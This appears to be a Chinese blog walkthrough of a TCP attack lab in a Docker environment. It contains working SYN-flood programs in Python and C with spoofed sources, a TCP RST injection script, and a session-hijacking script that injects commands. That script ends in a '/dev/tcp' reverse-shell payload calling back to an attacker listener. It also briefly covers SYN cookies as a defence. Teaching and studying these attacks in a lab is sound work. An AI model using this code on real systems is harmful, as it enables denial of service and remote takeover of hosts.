TCP/IP协议栈
TCP/IP协议栈是用于在计算机网络中进行通信的一组协议。它是互联网的核心协议栈,由多个层级的协议构成,应用层、传输层、网络层、数据链路层。每个层级的协议负责不同的功能。
TCP(传输控制协议)是一种面向连接的可靠传输协议,属于TCP/IP协议簇的传输层协议之一。它提供了一种可靠的端到端数据传输机制,确保数据的完整性、顺序性和可靠性。TCP的特性和工作原理如下:
- 三次握手:在进行数据传输之前,发送方和接收方需要建立一个TCP连接。连接建立过程中,双方会进行三次握手(Three-Way Handshake),以确认双方的通信能力和参数设置。
- 可靠性:TCP使用序号和确认机制来保证数据的可靠传输。发送方将数据划分为称为TCP段的小块,并为每个段分配一个序列号。接收方在接收到数据段后,发送确认消息来确认已接收到的数据段,并请求重传未收到的数据段。
- 有序性:TCP保证数据的有序性,即按照发送的顺序进行传输和接收。每个TCP段都带有序列号,接收方根据序列号对数据进行排序,以确保数据按照正确的顺序组装。
- 拥塞控制:TCP通过拥塞控制算法来避免网络拥塞的发生。它会根据网络的拥塞程度动态调整发送数据的速率,以避免网络过载和丢包。
- 流量控制:TCP使用流量控制机制来调节发送方的发送速率,以适应接收方的处理能力。接收方可以通过发送窗口大小来告知发送方自己的可接收数据量,从而控制数据的流动。
实验环境准备
docker-compose.yml文件如下
version: "3"
services:
attacker:
image: handsonsecurity/seed-ubuntu:large
container_name: seed-attacker
tty: true
cap_add:
- ALL
privileged: true
volumes:
- ./volumes:/volumes
network_mode: host
Victim:
image: handsonsecurity/seed-ubuntu:large
container_name: victim-10.9.0.5
tty: true
cap_add:
- ALL
privileged: true
sysctls:
- net.ipv4.tcp_syncookies=0
networks:
net-10.9.0.0:
ipv4_address: 10.9.0.5
command: bash -c "
/etc/init.d/openbsd-inetd start &&
tail -f /dev/null
"
User1:
image: handsonsecurity/seed-ubuntu:large
container_name: user1-10.9.0.6
tty: true
cap_add:
- ALL
networks:
net-10.9.0.0:
ipv4_address: 10.9.0.6
command: bash -c "
/etc/init.d/openbsd-inetd start &&
tail -f /dev/null
"
User2:
image: handsonsecurity/seed-ubuntu:large
container_name: user2-10.9.0.7
tty: true
cap_add:
- ALL
networks:
net-10.9.0.0:
ipv4_address: 10.9.0.7
command: bash -c "
/etc/init.d/openbsd-inetd start &&
tail -f /dev/null
"
networks:
net-10.9.0.0:
name: net-10.9.0.0
ipam:
config:
- subnet: 10.9.0.0/24
构建docker容器
docker-compose build
启动容器
docker-compose up --remove-orphans
查看创建的docker容器的IP地址
docker inspect -f '{{.Name}}-{{range.NetworkSettings.Networks}}{{.IPAddress}}{{end}}' $(docker ps -aq)
/seed-attacker-
/user1-10.9.0.6-10.9.0.6
/user2-10.9.0.7-10.9.0.7
/victim-10.9.0.5-10.9.0.5
创建的网络拓扑结构如下所示
TCP SYN Flood 攻击
什么是 SYN Flood
我们刚刚介绍TCP的时候,介绍了三次握手。在TCP三次握手过程中,客户端向服务器发送一个SYN(同步)包,服务器接收到后会返回一个SYN-ACK(同步-确认)包给客户端,然后等待客户端的确认(ACK)。当收到客户端的确认(ACK)后,TCP连接就建立起来了,接下来就可以使用这个连接进行通信了。
SYN泛洪攻击利用了TCP三次握手过程中的设计缺陷,在正常的TCP连接建立过程中,客户端发送一个带有SYN(同步)标志的TCP段给服务器,服务器收到后回复一个带有SYN和ACK(确认)标志的TCP段,最后客户端回复一个带有ACK标志的TCP段,完成连接建立。然而,SYN洪水攻击中,攻击者发送大量伪造的具有SYN标志的TCP段给目标服务器,但并不回复服务器的SYN-ACK段来完成三次握手,从而导致服务器上堆积大量未完成的连接请求,这些半开放连接会一直保持在服务器上等待,消耗服务器的资源,其结果就是目标服务器的连接队列被填满,无法处理新的合法连接请求。服务器资源如CPU、内存和网络带宽等也会被消耗殆尽,导致服务不可用。
net.ipv4.tcp_max_syn_backlog
是一个Linux内核参数,用于设置TCP三次握手过程中的半连接队列的最大长度,即可以同时等待完成三次握手的连接数。半连接队列存储了服务器正在等待完成三次握手的连接请求。
查看当前的 net.ipv4.tcp_max_syn_backlog
参数值
sysctl net.ipv4.tcp_max_syn_backlog
修改 net.ipv4.tcp_max_syn_backlog
的值
sysctl -w net.ipv4.tcp_max_syn_backlog=256
Python 实现 SYN Flood
python脚本如下
#!/bin/env python3
from scapy.all import IP, TCP, send
from ipaddress import IPv4Address
from random import getrandbits
ip = IP(dst="10.9.0.5")
tcp = TCP(dport=23, flags="S")
pkt = ip/tcp
while True:
pkt[IP].src = str(IPv4Address(getrandbits(32))) # source iP
pkt[TCP].sport = getrandbits(16) # source port
pkt[TCP].seq = getrandbits(32) # sequence number
send(pkt, verbose = 0)
进入受害者10.9.0.5
,在攻击之前重置网络连接状态然后开始监听端口23(Telnet端口)的TCP网络连接的。
docker exec -it f94ca6700e7b /bin/sh
ip tcp_metrics flush
netstat -ntc | grep :23
在攻击机中启动攻击脚本
sudo python3 syn.py
受害者10.9.0.5
收到了许多半开连接。
等待一会儿,然后进入网络下另一台10.9.0.6
主机并向受害机10.9.0.5
发起telnet连接
docker exec -it 18c87ea4bd77 /bin/sh
telnet 10.9.0.5
telnet连接超时,目标主机无法处理该连接请求。
C 实现 SYN Flood
使用原始套接字来实现伪造IP报文实现一个SYN-Flood攻击的程序。
定义TCP报头结构和伪报头结构。TCP伪报头(TCP Pseudo Header)是在进行TCP校验和计算时使用的辅助数据结构。它不是TCP报文段的一部分,而是用于计算校验和的数据。
#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <string.h>
#include <stdlib.h>
#include <time.h>
#include <arpa/inet.h>
#include <netinet/ip.h>
struct tcphdr
{
unsigned short sport; // 源端口
unsigned short dport; // 目标端口
unsigned int seq; // 序列号
unsigned int ack_seq; // 确认号
unsigned char len; // 首部长度
unsigned char flag; // 标志位
unsigned short win; // 窗口大小
unsigned short checksum; // 校验和
unsigned short urg; // 紧急指针
};
/**
* TCP伪头部包含了一些必要的信息,用于计算TCP校验和。
* 它通常由源IP地址、目的IP地址、保留字段、协议类型(TCP)和数据长度组成。
*/
struct pseudohdr
{
unsigned int saddr;
unsigned int daddr;
char zeros;
char protocol;
unsigned short length;
};
校验和计算的代码如下。将缓冲区中的每个16位字累加到checksum变量中,直到size变为1或0。然后,如果size不为0,说明还剩下一个字节没有累加到校验和中,将其加入checksum中。接下来,如果checksum发生溢出(即高16位不为零),就将高16位和低16位相加,再加上高16位。这是为了确保校验和在溢出时仍然正确。最后,将checksum取反并返回。
// 计算校验和
unsigned short
checksum(unsigned short *buffer, unsigned short size)
{
unsigned long checksum = 0;
// 先将缓冲区中的每个16位字累加到 cksum 变量中,直到 size 变为1或0
while (size > 1)
{
checksum += *buffer++;
size -= sizeof(unsigned short);
}
// 如果 size 不为0,说明还剩下一个字节没有累加到校验和中,
if (size)
{
checksum += *(unsigned char *)buffer;
}
// 如果有溢出
while (checksum >> 16)
{
// 则将高16位与低16位相加
checksum = (checksum >> 16) + (checksum & 0xffff);
// 如果高16位非零,再加高16位
checksum += (checksum >> 16);
}
// 取反
return (unsigned short)(~checksum);
}
初始化IP报头,设置IP报头的字段值。
// 初始化ip头
void init_ip_header(struct iphdr *ip, unsigned int srcaddr,
unsigned int dstaddr)
{
// 计算 IP 报头的总长度 len,包括 IP 头部和 TCP 头部的长度
int len = sizeof(struct iphdr) + sizeof(struct tcphdr);
// 设置 IP 版本和头部长度字段
ip->version = 4;
ip->ihl = 5;
// 设置服务类型字段 tos,此处设为 0。
ip->tos = 0;
// 设置总长度字段 total_len,使用 htons 函数将长度转换为网络字节序
ip->tot_len = htons(len);
// 设置标识字段
ip->id = 1;
// 设置标志字段 flags,这里设为 0x40,表示不分片
ip->frag_off = htons(0x4000);
// 设置生存时间字段 ttl
ip->ttl = 255;
// 设置协议字段 protocol,这里设为 IPPROTO_TCP
ip->protocol = IPPROTO_TCP;
// 初始化校验和
ip->check = 0;
ip->saddr = srcaddr; // 源IP地址
ip->daddr = dstaddr; // 目标IP地址
}
初始化TCP报头以及伪报头的函数。使用rand生成两个随机数,并将其转换成网络字节序作为源端口和序号,用于隐匿本机。TCP的flag字段设为0x02表示设置SYN。
// 初始化tcp头
void init_tcp_header(struct tcphdr *tcp, unsigned short dport)
{
// 生成随机端口
tcp->sport = htons(rand() % 16383 + 49152);
// 目的端口
tcp->dport = htons(dport);
// 随机生成一个序号,转化为网络字节顺序
tcp->seq = htonl(rand() % 90000000 + 2345);
// 将 ack_seq 字段初始化为 0,表示没有确认序列号
tcp->ack_seq = 0;
/**
* 计算 TCP 头部长度,使用 sizeof(struct tcphdr) / 4 计算出以 32 位字为单位的长度,
* 然后将其左移 4 位(相当于乘以 16),最后通过位或操作符 | 与 0 进行合并得到 len 字段
*/
tcp->len = (sizeof(struct tcphdr) / 4 << 4 | 0);
// 将 flag 设置 SYN 控制标志位
tcp->flag = 0x02;
// 设置窗口大小
tcp->win = htons(1024);
// 初始化校验和
tcp->checksum = 0;
// 将紧急指针 urg 初始化为 0,表示没有紧急数据
tcp->urg = 0;
}
// 初始化伪TCP头
void init_pseudo_header(struct pseudohdr *pseudo, unsigned int srcaddr,
unsigned int dstaddr)
{
pseudo->zeros = 0;
pseudo->protocol = IPPROTO_TCP;
pseudo->length = htons(sizeof(struct tcphdr));
pseudo->saddr = srcaddr;
pseudo->daddr = dstaddr;
}
构造了一个SYN数据包,生成一个随机数,作为数据包的源IP用于隐匿本机IP,调用上面的函数来计算IP校验和已经利用TCP伪报头计算TCP校验和。然后将TCP和IP报头拼接成一个数据包。
// 构造syn数据包
int make_syn_packet(char *packet, int pkt_len, unsigned int daddr,
unsigned short dport)
{
char buf[100];
int len;
struct iphdr ip; // IP 头部
struct tcphdr tcp; // TCP 头部
struct pseudohdr pseudo; // TCP 伪头部
// 随机生成源地址
unsigned int saddr = rand();
// 长度设置为一个ip报头+tcp报头的长度
len = sizeof(ip) + sizeof(tcp);
// 初始化头部信息
init_ip_header(&ip, saddr, daddr);
init_tcp_header(&tcp, dport);
init_pseudo_header(&pseudo, saddr, daddr);
// 计算IP校验和
ip.check = checksum((u_short *)&ip, sizeof(ip));
bzero(buf, sizeof(buf));
// 复制TCP伪头部
memcpy(buf, &pseudo, sizeof(pseudo));
// 复制TCP头部
memcpy(buf + sizeof(pseudo), &tcp, sizeof(tcp));
// 计算TCP校验和
tcp.checksum = checksum((u_short *)buf, sizeof(pseudo) + sizeof(tcp));
bzero(packet, pkt_len);
// 填充ip报头
memcpy(packet, &ip, sizeof(ip));
// 填充tcp报头
memcpy(packet + sizeof(ip), &tcp, sizeof(tcp));
// 格式化输出消息
unsigned char *dbytes = (unsigned char *)&daddr;
unsigned char *sbytes = (unsigned char *)&saddr;
printf("send a syn packet from %u.%u.%u.%u to address %u.%u.%u.%u\n",
sbytes[0], sbytes[1], sbytes[2], sbytes[3], dbytes[0], dbytes[1], dbytes[2], dbytes[3]);
return len;
}
通过调用socket函数创建一个原始套接字。AF_INET参数指定了使用IPv4协议,SOCK_RAW参数指定了套接字类型为原始套接字,IPPROTO_TCP参数指定了传输层协议为TCP。如果socket函数返回值为-1,表示创建套接字失败。
通过setsockopt函数设置套接字选项。setsockopt函数用于设置套接字的各种选项,这里使用IP_HDRINCL选项来告诉操作系统在发送数据时不自动添加IP头部。IP_HDRINCL选项的值为on。当IP_HDRINCL选项的值为非零时,表示应用程序将负责手动构建完整的IP头部,并将其附加到发送的数据中。这对于某些特定的网络编程需求非常有用,例如实现自定义的网络协议或与特定网络设备进行直接通信。通过将选项值设置为on,即使发送的数据中没有包含IP头部,操作系统也会将数据直接发送出去,而不会添加默认的IP头部。这样,应用程序就可以自行构建并添加完整的IP头部。
// 创建原始套接字
int make_raw_socket()
{
int fd;
int on = 1;
// 创建一个原始套接字
fd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
if (fd == -1)
{
return -1;
}
// 设置需要手动构建IP头部
if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0)
{
close(fd);
return -1;
}
return fd;
}
设置目标主机的地址族、地址与端口。然后使用sendto函数将我们自己构造的SYN数据包通过创建的原始套接字发往目标地址。
// 发送syn数据包
int send_syn_packet(int sockfd, unsigned int addr, unsigned short port)
{
struct sockaddr_in skaddr;
// 数据包
char packet[256];
// 数据包长度
int pkt_len;
// 初始化
bzero(&skaddr, sizeof(skaddr));
// 设置目标地址
skaddr.sin_family = AF_INET;
skaddr.sin_port = htons(port);
skaddr.sin_addr.s_addr = addr;
// 创建一个syn数据包
pkt_len = make_syn_packet(packet, 256, addr, port);
// 发送syn数据包
return sendto(sockfd, packet, pkt_len, 0, (struct sockaddr *)&skaddr,
sizeof(struct sockaddr));
}
在主函数中调用上面的函数,usleep(1000*1000);
用于控制数据包的发送速率。
int main(int argc, char *argv[])
{
unsigned int addr;
unsigned short port;
int sockfd;
if (argc < 3)
{
fprintf(stderr, "Usage: synflood <address> <port>\n");
exit(1);
}
// 获取地址和端口
addr = inet_addr(argv[1]);
port = atoi(argv[2]);
if (port < 0 || port > 65535)
{
fprintf(stderr, "Invalid destination port number: %s\n", argv[2]);
exit(1);
}
// 创建原始套接字
sockfd = make_raw_socket();
if (sockfd == -1)
{
fprintf(stderr, "Failed to make raw socket\n");
exit(1);
}
// 一直发送syn数据包
for (int i = 0; i > -1; i++)
{
usleep(1000*1000);
if (send_syn_packet(sockfd, addr, port) < 0)
{
fprintf(stderr, "Failed to send syn packet\n");
}
}
close(sockfd);
return 0;
}
在主机10.9.0.5
上,先重置网络连接状态,再查找正在监听端口23(Telnet端口)的TCP网络连接。
docker exec -it f94ca6700e7b /bin/sh
ip tcp_metrics flush
netstat -ntc | grep :23
编译源代码并运行
gcc -o syn syn.c
sudo ./syn 10.9.0.5 23
运行效果如下
可以发现主机10.9.0.5
上收到了许多半开连接
等待一会儿,然后进入网络下另一台10.9.0.6
主机并向受害机10.9.0.5
发起telnet连接
docker exec -it 18c87ea4bd77 /bin/sh
telnet 10.9.0.5
telnet连接超时,目标主机无法处理该连接请求。
防御 SYN Flood
当服务器收到大量伪造的SYN请求时,它们会在无法处理这些请求之前消耗服务器的资源,导致服务不可用。为了解决这个问题,引入了SYN Cookie机制。
SYN Cookie通过在服务器端动态生成伪随机的序列号来替代实际的半连接队列,从而减轻服务器的负载。服务器将伪随机序列号编码到SYN-ACK响应中,并将其发送给客户端。客户端在收到SYN-ACK响应时,会解码其中的伪随机序列号并发送ACK以完成连接的建立。这样,服务器不再需要维护实际的半连接队列,而是根据客户端发送的ACK来重构连接状态。
要系统查看是否开启了SYN Cookie机制
sysctl net.ipv4.tcp_syncookies
设置SYN Cookie是否开启
sysctl -w net.ipv4.tcp_syncookies=1
TCP Reset 攻击
TCP Reset(RST)攻击通过发送伪造的TCP RST数据包来终止或中断现有的TCP连接。这种攻击利用了TCP协议中的一个特性,即TCP RST数据包可以用于终止连接。攻击者发送一个带有伪造源IP地址和目标IP地址的RST数据包,该RST数据包伪装成来自通信双方之一的主机。当目标主机收到这个伪造的RST数据包时,它会认为连接被对方终止,并关闭连接。这将导致连接中断,受影响的用户可能需要重新建立连接。
TCP Reset攻击可以用于中断对特定服务的访问,例如通过终止现有的TCP连接来阻止用户访问某个网站或服务。攻击者可以利用已经存在的连接状态来发送伪造的RST数据包,从而迫使目标主机关闭连接。
在攻击机网络接口设为混杂模式,然后使用tcpdump监听数据包
sudo tcpdump -i br-0d32c54e0d4e -nn -vvv -XX 'port 23 and tcp[12:4] != 0'
或者使用下面的脚本进行嗅探
#!/usr/bin/python3
from scapy.all import *
def print_pkt(pkt):
pkt.show()
sniff(iface='br-0d32c54e0d4e', filter="tcp port 23", prn=print_pkt)
然后在10.9.0.6
向10.9.0.5
发起telnet连接。
telnet 10.9.0.5
在攻击机嗅探到数据包如下。可知双方通信10.9.0.6 :52732<->10.9.0.5:23
。
攻击脚本如下,设置源和目的IP和端口,然后设置seq为上一个数据包也就是10.9.0.6
向10.9.0.5
发送的数据包的ack字段,表示10.9.0.6
期望收到的下一个数据包的seq。
#!/usr/bin/env python3
from scapy.all import *
ip = IP(src="10.9.0.5", dst="10.9.0.6")
tcp = TCP(sport=23, dport=52732, flags="R", seq=3611048787)
pkt = ip/tcp
ls(pkt)
send(pkt,verbose=0)
运行该脚本
sudo python3 rst.py
成功重置了10.9.0.6
和10.9.0.5
之间的连接。
TCP Session Hijacking 攻击
在TCP连接中,会话是通过序列号seq和确认号ack进行跟踪和管理的。攻击者利用漏洞或技术手段,获得对TCP连接的控制权,使其能够窃取、修改或劫持连接中的数据。
然后使用10.9.0.6
telnet连接到10.9.0.5
服务器。服务器创建一个文件auth。
在攻击机上运行下面的脚本
#!/usr/bin/python3
from scapy.all import *
def print_pkt(pkt):
srcip = pkt[IP].src
dstip = pkt[IP].dst
srcport = pkt[TCP].sport
dstport = pkt[TCP].dport
seqnum = pkt[TCP].seq
acknum = pkt[TCP].ack
length = len(pkt[TCP].payload)
print("Source IP: " + srcip + " Destination IP: " + dstip + " Source Port: "
+ str(srcport) + " Destination Port: " + str(dstport) + " Sequence Number: " + str(seqnum) +
" Acknowledgement Number: " + str(acknum))
if(srcport == 23):
ip = IP(src=dstip, dst=srcip)
tcp = TCP(sport=dstport, dport=srcport, flags='A', seq=acknum, ack=seqnum+length)
data = "echo caixing >> auth\n\0"
packet = ip/tcp/data
send(packet, verbose=0)
sniff(iface='br-0d32c54e0d4e', filter="tcp and dst host 10.9.0.6 and src port 23", prn=print_pkt)
查看服务器的目录下的auth文件,发现成功运行了我们输入的命令,会话劫持成功
进入客户端的终端。发现客户端的光标被锁死,无法输入命令,因为客户端的失去了正确的ack与seq,无法通过telnet发出信息,也无法接收信息。
反弹shell
在攻击机监听8888端口
nc -lvnp 8888
修改刚刚会话劫持的脚本,在服务端执行bash -i >& /dev/tcp/10.9.0.1/8888 0>&1
命令,与IP地址为10.9.0.1,端口号为8888的主机建立反向Shell连接。count设置为1表示只捕获一次,即只执行一次反弹shell命令。
#!/usr/bin/python3
from scapy.all import *
def print_pkt(pkt):
srcip = pkt[IP].src
dstip = pkt[IP].dst
srcport = pkt[TCP].sport
dstport = pkt[TCP].dport
seqnum = pkt[TCP].seq
acknum = pkt[TCP].ack
length = len(pkt[TCP].payload)
print("Source IP: " + srcip + " Destination IP: " + dstip + " Source Port: "
+ str(srcport) + " Destination Port: " + str(dstport) + " Sequence Number: " + str(seqnum) +
" Acknowledgement Number: " + str(acknum))
if(srcport == 23):
ip = IP(src=dstip, dst=srcip)
tcp = TCP(sport=dstport, dport=srcport, flags='A', seq=acknum, ack=seqnum+length)
data = "bash -i >& /dev/tcp/10.9.0.1/8888 0>&1\n\0"
packet = ip/tcp/data
send(packet, verbose=0)
sniff(iface='br-0d32c54e0d4e', filter="tcp and dst host 10.9.0.6 and src port 23", prn=print_pkt, count=1)
反弹shell成功
- 最新
- 最热
查看全部没有评论内容